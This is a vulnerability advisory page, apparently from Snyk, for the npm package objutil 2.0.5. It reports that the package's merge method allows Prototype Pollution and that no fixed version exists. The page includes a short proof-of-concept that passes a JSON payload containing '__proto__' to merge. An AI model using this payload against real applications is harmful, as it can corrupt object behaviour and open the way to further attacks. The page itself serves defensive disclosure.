objutil@2.0.5 vulnerabilities

Javascript Object util with deep traverse, support ES6 tree shaking methods: get/set/unset/remove object path, visit, assign(extend), merge, remove, defaults, pick, filter, forEach, map, some, every, isEqual. Customize the APIs into one file.

Direct Vulnerabilities

Known vulnerabilities in the objutil package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

objutil is a Javascript Object util methods with deep traverse, with ES6 tree shaking methods.

Affected versions of this package are vulnerable to Prototype Pollution. The merge method could be tricked into adding or modifying properties of Object.prototype.

PoC

var a = { x:1,y:{ w:1, z:2 }}
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
var {merge, remove} = require('objutil')
result = merge(a,JSON.parse(malicious_payload));
console.log({}.vulnerable);

How to fix Prototype Pollution?

There is no fixed version for objutil.

*